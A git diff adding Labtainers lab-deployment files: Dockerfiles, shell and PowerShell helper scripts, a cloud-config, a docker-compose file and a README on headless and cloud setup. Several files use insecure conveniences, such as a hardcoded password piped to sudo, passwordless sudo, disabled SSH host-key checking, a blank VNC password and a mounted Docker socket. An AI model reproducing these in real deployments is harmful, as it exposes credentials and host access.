"waitdone.sh " + exit +fi +user=$1 +./checktunnel.sh $user || exit 1 +rm -f index.html +echo "Waiting for remote Labtainers to become available. Please be patient." +while : +do + curl localhost:6901 --output index.html -s + if [ -f index.html ]; then + echo "Web server is up." + break + fi + sleep 20 +done +echo "Labtainers is up. Point a browser to http://localhost:6901" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitup.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitup.ps1 new file mode 100755 index 000000000..80d14f4f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitup.ps1 @@ -0,0 +1,27 @@ +If ($args.Count -ne 1){ + echo "waitup.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +$ip=./getip.ps1 $vm +if ($ip -eq "FAIL"){ + echo "Failed to get ip of $vm" + exit 1 +} +Write-Host -NoNewLine "Waiting for ssh port to open on $vm at $ip..." +while($true){ + try{ + $connection = New-Object System.Net.Sockets.TcpClient($ip, 22) + if ($connection.Connected) { + Write-Host "SSH port open on $vm" + break + }else{ + Start-Sleep -s 2 + Write-Host -NoNewLine "." + } + } catch{ + Start-Sleep -s 2 + Write-Host -NoNewLine "." + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitup.sh new file mode 100755 index 000000000..98f5416c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/google/waitup.sh @@ -0,0 +1,22 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "waitup.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +ip=$(./getip.sh $vm_name) || exit 1 +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +echo -n "Waiting for ssh port to open on $vm_name..." +while true; do + result=$(echo > /dev/tcp/$ip/22 && echo "Open") + if [[ "$result" == *"Open"* ]]; then + echo "ssh port is now open" + break + fi + echo -n "." + sleep 2 +done diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.headless.tester b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.headless.tester new file mode 100644 index 000000000..7c5ec404a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.headless.tester @@ -0,0 +1,12 @@ +# Docker file for headless tester. DO NOT PUBLISH IMAGE +# + +FROM labtainers/labtainer.master.headless + +LABEL description="This is Docker image for the Labtainers master controller tester" +USER root +RUN apt-get install -y xdotool net-tools +USER labtainer +COPY --chown=labtainer:labtainer labtainer-tests.tar /home/labtainer +RUN cd labtainer && tar xf ../labtainer-tests.tar +#RUN rm labtainer-tests.tar diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.master.base b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.master.base new file mode 100644 index 000000000..347a9a4c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.master.base @@ -0,0 +1,104 @@ +# +# Create a master Labtainer image for use in running Labtainers from a container +# on any system that has Docker installed, withou having to install Labtainers. +# Thanks for Olivier Berger for this contribution. +# +#FROM ubuntu:xenial +FROM ubuntu:noble + +# Do not exclude man pages & other documentation +RUN rm /etc/dpkg/dpkg.cfg.d/excludes +# Reinstall all currently installed packages in order to get the man pages back +RUN apt-get update && \ + dpkg -l | grep ^ii | cut -d' ' -f3 | xargs apt-get install -y --reinstall && \ + rm -r /var/lib/apt/lists/* + + +LABEL description="This is Docker image for the Labtainers master controller, stage 1" +RUN apt-get update && apt-get install -y --no-install-recommends \ + apt-transport-https \ + ca-certificates \ + curl \ + software-properties-common \ + man \ + manpages \ + manpages-dev + +# +ARG DOCKER_GROUP_ID +RUN groupadd -g $DOCKER_GROUP_ID docker +RUN apt-get install -y gpg-agent +# +RUN curl -fsSL https://download.docker.com/linux/ubuntu/gpg >/tmp/gpg +RUN cat /tmp/gpg | apt-key add - + + #---sets up stable repository +#RUN apt-get update +RUN add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" + + #---installs Docker: Community Edition +#RUN apt-get update +RUN apt-get -y install docker-ce + + +# Set the locale +RUN apt-get install -y --no-install-recommends \ + locales +RUN locale-gen en_US.UTF-8 +ENV LANG=en_US.UTF-8 +ENV LANGUAGE=en_US:en +ENV LC_ALL=en_US.UTF-8 + +RUN apt-get install -y --no-install-recommends \ + sudo \ + python3 \ + python3-pip \ + python3-setuptools + + +#---Use virtual python environment to avoid Ubuntu lockdown +RUN apt -y install python3.12-venv +RUN mkdir -p /opt/labtainer/venv +RUN python3 -m venv /opt/labtainer/venv +RUN ln -s /opt/labtainer/venv/bin/python /opt/labtainer/python3 +#-- downgrade requests and urllib packages due to docker python module bug +RUN /opt/labtainer/venv/bin/python3 -m pip install 'requests<2.29.0' 'urllib3<2.0' || exit 1 +RUN /opt/labtainer/venv/bin/python3 -m pip install netaddr parse python-dateutil docker || exit 1 + + +#apt-get upgrade--fix-missing +RUN apt-get install -y --no-install-recommends \ + x11-xserver-utils +RUN apt-get install -y --no-install-recommends \ + xterm +RUN apt-get install -y --no-install-recommends \ + gnome-terminal + +RUN apt-get install -y --no-install-recommends \ + less \ + iputils-ping \ + wget \ + vim \ + mupdf \ + xdg-utils + +# For gnome-terminal +RUN apt-get install -y --no-install-recommends \ + dbus-x11 + +RUN deluser ubuntu +RUN useradd -ms /bin/bash labtainer --uid 1000 +RUN echo "labtainer:labtainer" | chpasswd +RUN adduser labtainer sudo + +RUN usermod -aG docker labtainer +RUN newgrp docker + +#ensures that /var/run/docker.sock exists +RUN touch /var/run/docker.sock + +#changes the ownership of /var/run/docker.sock +RUN chown root:docker /var/run/docker.sock + +USER labtainer +WORKDIR /home/labtainer diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.master.headless b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.master.headless new file mode 100644 index 000000000..7fd9c71cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/Dockerfile.labtainer.master.headless @@ -0,0 +1,43 @@ +# student@ubuntu:~/labtainer/trunk/scripts/designer$ cat base_dockerfiles/Dockerfile.labtainer.master +# +# Create a master Labtainer image for use in running Labtainers from a container +# on any system that has Docker installed, withou having to install Labtainers. +# Thanks for Olivier Berger for this contribution. +# + +FROM labtainers/labtainer.master.base + +LABEL description="This is Docker image for the Labtainers master controller, stage 2" + +# Continue to configure the image. + +COPY --chown=labtainer:labtainer labtainer.tar /home/labtainer +RUN tar xf labtainer.tar +RUN rm labtainer.tar +RUN cd labtainer && ln -s trunk/scripts/labtainer-student +RUN cd labtainer && ln -s trunk/scripts/labtainer-instructor + +RUN cd labtainer/trunk/scripts/labtainer-student/bin && ln -s ../../../setup_scripts/update-labtainer.sh + +COPY --chown=labtainer:labtainer bashrc.labtainer.master /home/labtainer +RUN cat bashrc.labtainer.master >>/home/labtainer/.bashrc + +ENV DISPLAY=:0 +ENV NO_AT_BRIDGE=1 +ENV VNCHOST=novnc + +COPY --chown=labtainer:labtainer ./motd /etc/motd +COPY --chown=labtainer:labtainer ./docker-entrypoint / +COPY ./waitForX.sh /usr/bin/ +COPY --chown=labtainer:labtainer ./doterm.sh /home/labtainer/.doterm.sh +COPY --chown=labtainer:labtainer ./doupdate.sh /home/labtainer/.doupdate.sh +RUN touch /home/labtainer/labtainer/.doupdate + +# setup default pdf app, for opening URI links, in lab descriptions. +RUN mkdir -p /home/labtainer/.config +RUN xdg-mime default mupdf.desktop application/pdf +RUN chmod 744 /docker-entrypoint +USER labtainer +RUN mkdir -p /home/labtainer/labtainer_xfer +COPY --chown=labtainer:labtainer .local/. /home/labtainer/ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/README.md b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/README.md new file mode 100644 index 000000000..5d8ab78a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/README.md @@ -0,0 +1,154 @@ +# Headless Labtainers +**NOTE** This capability is experimental on Docker Desktop for Macs and Windows. At the moment, Docker Desktop is too unstable +for us to support Labtainers on it. The information below is for those who wish to experiment, and for use of cloud based +deployments. + +Run Labtainers on systems that lack X11 desktops. This assumes you have installed Docker, e.g., Docker Desktop on a Mac or +Windows machine. Cloud-based solutions are also supported using remote servers. Headless Labtainers are an alternative to +the Labtainer VM Appliance. + +# Quick Start +Execute the ./headless-labtainers.sh script. Or download from + https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/headless-labtainers.sh +and make executable and then run. +On a Mac, this would be done from a terminal. On Windows, use Powershell. + +* Use the -d option to use your modified local docker-compose.yml file rather than the current one in the Labtainers repo. +* Use the -n option to suppress updating of Labtainers on headless container, e.g., if you've created your own labtainer.tar + +Open a browser and goto http://localhost:6901/vnc.html?password= (uses blank default password, which is changable in docker-compose.yml). + +In addition to starting the Headless Labtainers, the script will create a ~/headless-labtainers directory. A student would then run +headless-labtainers.sh from that directory in the future. That directory will also contain persistent data. + +The user name and password on the resulting Labtainers container are both "labatiner. + +**Warning**: if you run docker-compose directly prior to running headless-labtainers.sh, you may end up with broken file +permissions (though running it directly after first running headless-labtainers.sh should work fine). + +# Security considerations +Please note that Docker runs as a privileged service on your computer, and Labtainers containers run as privileged containers. +If you have sensitive data on your computer, you should understand the isolation provided by Dockers on your system. An alternative +is to use one of our virtual machine appliances rather than running Docker directly on your computer. + +# Labtainers via remote server +Headless Labtainers can be deployed on servers, e.g., on headless VMs upon which Docker Compose is installed. +We suggest allocating +* 2G RAM +* 40G Disk +* 2 CPUs + +A Cloud Config file for an Ubuntu server is in headless-lite/cloud-config. This file will create and provision +a VM that runs the Headless Labtainers. To use that file, replace the SSH key with your own public key, or +a test key created with ssh-keygen. + +You can test the cloud-config using Canonical's Multipass. +> multipass launch -m 2G -c 2 -d 40G --name labtainer1 --cloud-init cloud-config + +Then open an SSH tunnel to the resulting IP address: +> ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" labtainer@my\_vm\_ip + +Then access Labtainers from a browser pointed to http://localhost:6901 + +A notional summary +of a server or cloud deployment is provided below. In this example, each student VM is assumed to be allocated its own IP address. Note the provisioning +steps below are also captured in the cloud-config file. + +* Provision one VM per student with an SSH Server, Docker and Docker Compose installed. (**Warning** Use of snap.docker is not supported, +use the Docker distributed by Docker. Do not select the "Docker" from Ubuntu's system install menus.) +* Add a "labtainer" user to the VM. +* Add the headless-labtainers.sh script to the VM, run it, and configure it to run as a service from ~/labtainers-student as user labtainer. +* Allocate at least 2GB and 2 cores to each VM. +* Provide students with SSH access to the VM, e.g., allocate SSH keys or configure the VMs to authenticte via LDAP. +* Direct students to configure their SSH private key (if needed) and to use an SSH command from a PowerShell or Mac terminal such as: +> ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" labtainer@my\_vm\_ip + + where "my\_vm\_ip" is the IP of their VM, or host witin their SSH config file. +* Students would then access their Labtainers from a browser pointed to http://localhost:6901 +* Direct students to retrieve their results zip files from their VM using scp, e.g., +> scp labtainer@my\_vm\_ip:~/headless-labtainers/labtainer\_xfer/[lab]/\*.zip . + +# Developer notes +The following assume you have cloned or otherwise replicated the Labtainers repo. + +You can modify the headless containers by editing the yml file and using the "-d" option on headless-labtainers.sh, +running the script from the repo. To modify the headless container, modify the Dockerfiles and/or the docker-entryentrypoint script. +Rebuild the local container images from the scripts/designer/bin directory using the create\_master\_headless.sh script. +The default will populate the headless container with the latest Labtainers distribution. Use the "-d" option to force use of your own +labtainers.tar created using distrib/mkdist.sh. Note however that script assumes you have first created a Labtainers development +environment as described in docs/development/development.pdf + +# Issues and ToDo + +The VNC_PW value is in the yml empty, allowing the user to simply click OK. +It would be nice if the password can be suppressed entirely. + +The VNC_RESOLTION controls the desktop size. How best to let the user adjust this, other than editing a file? +Using -resize=scale, let student adjust to taste? + +Create a user's guide that details headless-specific issues such as changing resolution, running, etc. + +X11 applications such as wireshark often start with blank windows, requiring a restart of the application. The problem +also occurs to some degree on VMs, and frequently on VMWare Horizon hosted VMs. Or so it seems. It is likely just an +X11/Docker issue that happens everywhere. + +For now, users sit through long downloads as they do labs. For example, if they've never done a lab that uses the +labtainer.firefox base, and then run one, the are warned of a download of hundreds of MB. Better to download all +base images on first start? If added, need an ENV to supress it for testing. + +Time on the labtainer container is in UTC. Make localtime? + +Lab guides and other references tell students their results are found in ~/labtainer\_xfer/[lab]. How best to avoid confusion since +with Headless Labtainers, that directory on the headless container is mapped to ~/headless-labtainers/labtainer\_xfer on the student's computer? + +# VirtualBox server installation notes +Allocate 40GB to the server disk. Manually ensure that the LVM allocation to / is not stuck at 20GB (Ubuntu install foible?) +## Disable unattended updates +Automated updates routinely break installation software by holding locks. +* sudo dpkg-reconfigure unattended-upgrades +* sudo apt remove -y unattended-upgrades + +## VBox guest additions: +* sudo mkdir /media/cdrom +* sudo mount /dev/cdrom /media/cdrom +* cd /media/cdrom +* sudo apt-get install -y dkms build-essential linux-headers-generic linux-headers-$(uname -r) +* sudo su +* ./VBoxLinuxAdditions.run +* sudo usermod -G vboxsf -a $USER + +Create a snapshot after the above two steps are done. Call it ready-disabled-updates + +## Rebuilding and installing headless +Use {\tt rebuildTester.sh} on the dev system to create the headless tester container image. +Then use install-headless.sh to install headless on the Ubuntu server. + +# Build the labtainer.master File +The following is mostly OBE. Revise/remove? + +Here are the instructions to create a new labtainer.master file. + +Prereqs: linux system with git and docker installed. Note: Labtainer VM is a good place to do this. + +1. Make directory to house files from Git Repo and change dir to that directory. `mkdir foo && cd foo` +2. Pull down files from Git repository. `git clone https://github.com/mfthomps/Labtainers.git` +3. Move to that directory. `cd Labtainers` +4. Change to the premaster branch `git checkout premaster` +5. Set $LABTAINER_DIR to root of Git Repo Files. ``export LABTAINER_DIR=`pwd` `` +6. Cd to correct directory to update labtainer.tar. `cd distrib`. +7. Ensure you have latex installed, to build the pdfs for labs. `sudo apt install texlive-full`. +8. Update the labtainer.tar file `./mkdist.sh`. Ignore errors. +9. Cd to correct directory to build image. `cd ../scripts/designer/bin` +10. Run scripts to create the image in two stages: `./create_headless_master_stage_1.sh && ./create_headless_master_stage_2.sh`. These were separated to make subsequent builds faster, ie. if you only need to update configuration files, you only need to run the second stage. +11. Cd to headless-lite directory (or open new shell tab). `cd $LABTAINER_DIR/headless-lite/` +12. Launch the containers using docker-compose.yml. `docker-compose up` +13. Open browser and goto http://localhost:6901/vnc.html?password= (uses blank default password, which is changable in docker-compose.yml). + +Optionally (push container to hub.docker.com) +a. Create an account on docker hub. +b. Tag the container created in previous steps (create_headline_master.sh) to match [your docker username]/labtainer.master. `docker tag 259872983749[replace this with your hash shown when running create_headline_master_stage_2.sh] [your docker username]/labtainer.master`. +c. Push that image to dockerhub. `docker push [your docker username]/labtainer.master`. +d. Edit the docker-compose.yml file to rename that repo/container above. +e. Test new docker-compose.yml file. `docker-compose up`. This command should pull down that image from hub.docker.com. + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/buildTester.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/buildTester.sh new file mode 100755 index 000000000..03c959097 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/buildTester.sh @@ -0,0 +1,12 @@ +#!/bin/bash +cd $LABTAINER_DIR/distrib +./mkdist.sh +./mktest.sh +cd $LABTAINER_DIR/scripts/designer/bin +./create_master_headless.sh -d +./create_headless_tester.sh +docker push testregistry:5000/labtainer.headless.tester +cd $LABTAINER_DIR/headless-lite +cp install-headless.sh /media/sf_SEED/multipass/ +echo "push any git updates" +echo "reinstall the server and run install_headless.sh -t" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/cloud-config b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/cloud-config new file mode 100644 index 000000000..d0d5396e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/cloud-config @@ -0,0 +1,60 @@ +#cloud-config +# +# Cloud Config file for Headless Labtainers. Provisions docker, docker-compose and headless labtainers +# +# Replace the SSH ssh_authorized_keys with your own ssh key. +# + +users: + - name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL + ssh_authorized_keys: + - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqsA7lR0ks4PhVZ7P2vqormMrYlq/P4UeIrnvpgITd//o/x6W0l7Q6oOsp/bBJudB/91ZxTY7yTuXlSRIAg04SC4Fy/jpvz3Uh+Z8o/dfsd4Agoq0hOmm+UU1tC+hHQq1rwocYc2dnf79fyVa9xcL9xTKOjNNLLT7M6wwv+cTSBD+ivc40bMrt5lez/mldefu4Jsy1Z+bWNkg6BIY1LAzZ86EzcWZN7KHYzsKziNq8M8e4pDtG5a3QGf8HCUrEgCx8cbA6oNA2har2t/sALDtcEMzG/OhiBS2FopxC8aLZtAp29PPIOv5Z+S/w0NcQZnoNSXcNk+TNwOO2qZ+r0GbK/4s9LQrix0o0WfETqccBbb0KTqgTJEAzBqDITMQmG6qucU5yN0yWKPO+4CtndSp2GObnGU+LlRx8VYmacAqyn2tA1sV1bXzZJQ4nRuhbqLPDwRdMSslEiDz/5fkQEho/RLd8EuU+qGA39UgBvaNCV24Y4nYsojXcewvcTqY4T/0= mfthomps@mac-0220 + +packages: + - net-tools + +write_files: +- content: | +- content: | + [Unit] + Description=Headless Labtainers + + [Service] + Type=simple + WorkingDirectory=/home/labtainer/headless-labtainers + User=labtainer + ExecStart=/home/labtainer/headless-labtainers/headless-labtainers.sh + + [Install] + WantedBy=multi-user.target + Alias=headless-labtainers.service + path: /etc/systemd/system/headless-labtainers.service + +runcmd: +- apt install -y apt-transport-https ca-certificates curl software-properties-common +- curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +- add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" +- apt update +- cache policy docker-ce +- apt install -y docker-ce +- curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose +- chmod +x /usr/local/bin/docker-compose + +- usermod -aG docker labtainer +- usermod -aG sudo labtainer +- usermod -aG docker ubuntu + +- mkdir /home/labtainer/headless-labtainers +- chown labtainer:labtainer /home/labtainer/headless-labtainers +- wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/premaster/headless-lite/headless-labtainers.sh +- chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh +- systemctl enable headless-labtainers.service +- docker pull labtainers/labtainer.master.headless + +power_state: + delay: "now" + mode: reboot + message: Bye Bye + timeout: 30 + condition: True diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/docker-compose.yml b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/docker-compose.yml new file mode 100644 index 000000000..4781b1879 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/docker-compose.yml @@ -0,0 +1,39 @@ +version: "3.5" + +services: + + + novnc: + image: accetto/ubuntu-vnc-xfce + environment: + - VNC_PW= + #- VNC_RESOLUTION=1900x900 + - resize=scale + volumes: + - /tmp/.X11-unix:/tmp/.X11-unix:rw + - /tmp/.Xauthority:/home/headless/.Xauthority:rw + ports: + - "127.0.0.1:6901:6901" + + labtainer: + image: labtainers/labtainer.master.headless + environment: + - DISPLAY=:1 +# Set to FALSE to prevent updates from latest distribution, e.g., for testing framework changes. + - LABTAINER_UPDATE=${LABTAINER_UPDATE} + - TEST_REGISTRY=${TEST_REGISTRY} +# Use LABTAINER_DNS to force containers to use a given DNS, for networks that prohibit extern DNS servrs + - USER=labtainer + volumes: + - /tmp/.X11-unix:/tmp/.X11-unix:rw + - /var/run/docker.sock:/var/run/docker.sock + - ${HOME}/headless-labtainers/labtainer_xfer:/home/labtainer/labtainer_xfer:rw + - ${HOME}/headless-labtainers/labtainers:/home/labtainer/.local/share/labtainers:rw + - /tmp/${USER}/wait_tap_dir:/tmp/${USER}/wait_tap_dir + + extra_hosts: + - "testregistry:10.20.200.41" + depends_on: + - novnc + entrypoint: ["/docker-entrypoint"] + tty: true diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/docker-entrypoint b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/docker-entrypoint new file mode 100644 index 000000000..5170f3694 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/docker-entrypoint @@ -0,0 +1,28 @@ +#!/bin/bash + +cat /etc/motd + +# +# Docker on window manages to screw this up +# +echo labtainer | sudo -S chown root:docker /var/run/docker.sock +mkdir -p /tmp/labtainer +echo labtainer | sudo -S chown labtainer:labtainer /tmp/labtainer + +export LABTAINER_DIR=/home/labtainer/labtainer/trunk +/home/labtainer/.doterm.sh > /dev/null 2>&1 +while true +do + sleep 5 + got_term=$(ps aux | grep [g]nome-terminal) + if [ -z "$got_term" ]; then + echo "failed terminal, try again" >>/tmp/termfail.log + /home/labtainer/.doterm.sh > /dev/null 2>&1 + else + break + fi +done +while true +do + sleep 2000 +done diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/doterm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/doterm.sh new file mode 100755 index 000000000..f588201d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/doterm.sh @@ -0,0 +1,24 @@ +# +# Start a gnome terminal and update labtainers if not yet done. +# +exec > >(tee "/tmp/doterm.log") 2>&1 +target=~/.bashrc +grep "lab-completion.bash" $target >>/dev/null +result=$? +if [[ result -ne 0 ]];then + echo 'source $LABTAINER_DIR/setup_scripts/lab-completion.bash' >> $target +fi +source $LABTAINER_DIR/setup_scripts/lab-completion.bash +# +# fix link in README file +# +sed -i '1,/student/{s%student/labtainer%labtainer/labtainer%}' $HOME/labtainer/trunk/scripts/labtainer-student/README +/usr/bin/waitForX.sh +gnome-terminal --geometry 120x31+150+100 --working-directory=$HOME/labtainer/labtainer-student -- bash -c "exit" +sleep 2 +gnome-terminal --geometry 120x31+150+100 --working-directory=$HOME/labtainer/labtainer-student -- bash -c "/bin/cat README; exec bash" +if [[ -f $HOME/labtainer/.doupdate ]] && [[ "$LABTAINER_UPDATE" != 'FALSE' ]]; then + xterm -e /home/labtainer/.doupdate.sh + rm $HOME/labtainer/.doupdate +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/doupdate.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/doupdate.sh new file mode 100755 index 000000000..2688e6f28 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/doupdate.sh @@ -0,0 +1,7 @@ +cd $LABTAINER_DIR/.. +wget --quiet https://github.com/mfthomps/Labtainers/releases/latest/download/labtainer.tar -O labtainer.tar +echo "doing update of labtainer" >/tmp/update.log +sync +cd .. +tar xf labtainer/labtainer.tar --keep-newer-files --warning=none +sleep 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/get-results.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/get-results.sh new file mode 100755 index 000000000..4dc03e6db --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/get-results.sh @@ -0,0 +1,4 @@ +#!/bin/bash +echo "Retrieving Labtainer results from $1" +mkdir -p ~/labtainer_xfer +scp -r labtainer@$1:~/headless-labtainers/labtainer_xfer/* ~/labtainer_xfer/ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/headless-labtainers.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/headless-labtainers.sh new file mode 100755 index 000000000..f44515f32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/headless-labtainers.sh @@ -0,0 +1,139 @@ +#!/bin/bash +check_docker() { +if [[ -f /usr/local/bin/docker ]]; then + /usr/local/bin/docker ps + result=$? +else + /usr/bin/docker ps + result=$? +fi +if [ ! $result = 0 ]; then + echo "Docker Desktop not installed or not running" >>/tmp/lab-preinstall.log + + case "$OSTYPE" in + solaris*) echo "SOLARIS" ;; + darwin*) + osascript <<'END' + set theDialogText to "Installation failed. Docker Desktop is not running. Make sure it is installed and running. Then open the installation package again." + display dialog theDialogText buttons {"OK"} default button "OK" +END + ;; + linux*) echo "LINUX" ;; + bsd*) echo "BSD" ;; + msys*) echo "WINDOWS" ;; + *) echo "unknown: $OSTYPE" ;; + esac + exit 1 +fi + +} + + +do_up() { + printf "\n\nStarting Labtainers...\n" + printf "When you see two 'done's below, open a browser and goto\n" + printf " http://localhost:6901/vnc.html?password=\n" + printf "\n" + printf "No password is needed, just click 'submit' if prompted.\n" + printf "\n" + printf "Use 'update-labtainer.sh' to update your Labtainers before the first use.\n" + printf "\n" + printf "Use ctrl-C to stop Headless Labtainers.\n" + docker compose up --no-recreate >> /tmp/headless.log + printf "\nYour results are in ~/headless-labtainers/labtainer_xfer\n" +} + +fix_it() { +case "$OSTYPE" in + solaris*) echo "SOLARIS" ;; + darwin*) echo "fix up OSX" >> /tmp/headless.log + # To work around a persistent problem on docker for mac, test if docker.sock.raw file exists or not, if not, then add symlink, see issue at https://github.com/docker/for-mac/issues/4755 + + if [ ! -L "/var/run/docker.sock.raw" ]; then + echo "Fixing Files for OSX" >> /tmp/headless.log + # add link to docker.raw.sock, see issue at https://github.com/docker/for-mac/issues/4755 + sudo ln -s "$HOME/Library/Containers/com.docker.docker/Data/docker.raw.sock" /var/run/docker.sock.raw + # now fix the docker-compose file to use the docker.sock.raw + cd ~/headless-labtainers + echo "Changes complete for OSX" >> /tmp/headless.log + fi + sed -i '' s%/var/run/docker.sock:/var/run/docker.sock%/var/run/docker.sock.raw:/var/run/docker.sock% docker-compose.yml + ;; + linux*) echo "LINUX" ;; + bsd*) echo "BSD" ;; + msys*) echo "WINDOWS" ;; + *) echo "unknown: $OSTYPE" ;; +esac +} + +# +# +# + +export LABTAINER_UPDATE="" +export LABTAINER_DEV="" +export LABTAINER_TEST="" +export TEST_REGISTRY="" +while [ -n "$1" ]; do + if [ "$1" = -h ]; then + echo "-d to use your local yml file" + echo "-n to supress updates on the container, e.g. if you created your own labtainer.tar" + exit 0 + elif [ "$1" = -n ]; then + export LABTAINER_UPDATE="FALSE" + shift + elif [ "$1" = -d ]; then + LABTAINER_DEV="TRUE" + shift + elif [ "$1" = -t ]; then + LABTAINER_TEST="TRUE" + shift + fi +done +if [ -f /var/run/docker.sock ]; then + sudo chown root:docker /var/run/docker.sock +fi + +if [ "$LABTAINER_TEST" = "TRUE" ];then + export TEST_REGISTRY=TRUE +fi +if [ -d ./mystuff ]; then + echo "Running Headless Labtainers." + check_docker + fix_it + do_up +else + echo "Installing and running Headless Labtainers." + mkdir -p ~/headless-labtainers + SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" + cp "$SCRIPTPATH/headless-labtainers.sh" ~/headless-labtainers + cd ~/headless-labtainers + mkdir -p mystuff + mkdir -p labtainer_xfer + mkdir -p labtainers + if [ "$LABTAINER_DEV" = "TRUE" ];then + echo "Using local yml" + cp $LABTAINER_DIR/headless-lite/docker-compose.yml . + elif [ "$LABTAINER_TEST" = "TRUE" ];then + echo "Using labtainer.headless.tester" + curl https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/docker-compose.yml > docker-compose.yml + sed -i s%labtainers/labtainer.master.headless%testregistry:5000/labtainer.headless.tester% docker-compose.yml + sed -i s%accetto/ubuntu-vnc-xfce%testregistry:5000/ubuntu-vnc-xfce% docker-compose.yml + echo "frank@beans.com" > /home/labtainer/headless-labtainers/labtainers/email.txt + labtainer_dns=$(systemd-resolve --status | grep "Current DNS S" | awk '{print $4}') + sed -i "/TEST_REGISTRY.*/a \ \ \ \ \ \ - LABTAINER_DNS=$labtainer_dns" docker-compose.yml + # + # guess this needs to be constantly changed + # + sudo chown root:docker /var/run/docker.sock + else + curl https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/docker-compose.yml > docker-compose.yml + fi + check_docker + fix_it + do_up + HEADLESS_DIR=`pwd` + echo "In the future, open a terminal, cd to" + echo " $HEADLESS_DIR and run:" + echo "./headless-labtainers.sh" +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/install-headless.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/install-headless.sh new file mode 100755 index 000000000..ad01fe575 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/headless-lite/install-headless.sh @@ -0,0 +1,64 @@ +#!/bin/bash +# +# This assumes user 1000 is labtainer +# +TEST_FLAG="" +if [[ "$1" == "-t" ]]; then + echo "TEST_FLAG set to -t" + TEST_FLAG=-t +fi +apt-get install -y net-tools apt-transport-https ca-certificates curl software-properties-common +curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" +apt update +cache policy docker-ce +apt install -y docker-ce +curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose +chmod +x /usr/local/bin/docker-compose + + +mkdir 